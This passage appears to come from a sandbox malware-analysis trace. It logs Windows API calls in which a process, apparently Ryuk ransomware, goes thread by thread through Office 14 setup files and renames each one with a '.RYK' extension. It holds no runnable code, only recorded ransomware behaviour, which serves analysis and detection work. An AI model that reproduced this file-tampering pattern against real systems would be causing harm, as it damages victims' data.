	os_tid = 0xcb4

	[0132.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", dwFileAttributes=0x80) returned 0
	[0132.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.216] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 246
	os_tid = 0xcb8

	[0132.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0132.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0132.219] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0132.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 248
	os_tid = 0xccc

	[0133.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML", dwFileAttributes=0x80) returned 0
	[0133.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 249
	os_tid = 0xcd0

	[0133.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", dwFileAttributes=0x80) returned 0
	[0133.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.040] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.040] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 250
	os_tid = 0xcd4

	[0133.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML", dwFileAttributes=0x80) returned 0
	[0133.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.042] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 251
	os_tid = 0xcd8

	[0133.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML", dwFileAttributes=0x80) returned 0
	[0133.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.044] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 252
	os_tid = 0xcdc

	[0133.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM", dwFileAttributes=0x80) returned 0
	[0133.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.774] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.774] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 253
	os_tid = 0xce0

	[0133.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM", dwFileAttributes=0x80) returned 0
	[0133.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.772] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 254
	os_tid = 0xce4

	[0133.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM", dwFileAttributes=0x80) returned 0
	[0133.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.770] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 255
	os_tid = 0xce8

	[0133.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", dwFileAttributes=0x80) returned 0
	[0133.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.540] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 256
	os_tid = 0xcec

	[0133.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0133.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0133.542] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0133.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 260
	os_tid = 0xd00

	[0134.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML", dwFileAttributes=0x80) returned 0
	[0134.161] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.162] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 261
	os_tid = 0xd04

	[0134.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0134.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.164] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.164] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 262
	os_tid = 0xd08

	[0134.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML", dwFileAttributes=0x80) returned 0
	[0134.165] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 263
	os_tid = 0xd0c

	[0134.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML", dwFileAttributes=0x80) returned 0
	[0134.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.379] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 264
	os_tid = 0xd10

	[0134.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0134.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0155.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0155.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 265
	os_tid = 0xd14

	[0134.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", dwFileAttributes=0x80) returned 0
	[0134.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.383] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.383] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 266
	os_tid = 0xd18

	[0134.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0134.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0154.761] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0154.762] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 267
	os_tid = 0xd1c

	[0134.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", dwFileAttributes=0x80) returned 0
	[0134.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0154.045] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0154.045] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 268
	os_tid = 0xd20

	[0134.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", dwFileAttributes=0x80) returned 0
	[0134.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.389] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0134.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 269
	os_tid = 0xd24

	[0134.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0134.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0153.763] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0153.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 270
	os_tid = 0xd28

	[0134.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", dwFileAttributes=0x80) returned 0
	[0134.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0134.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
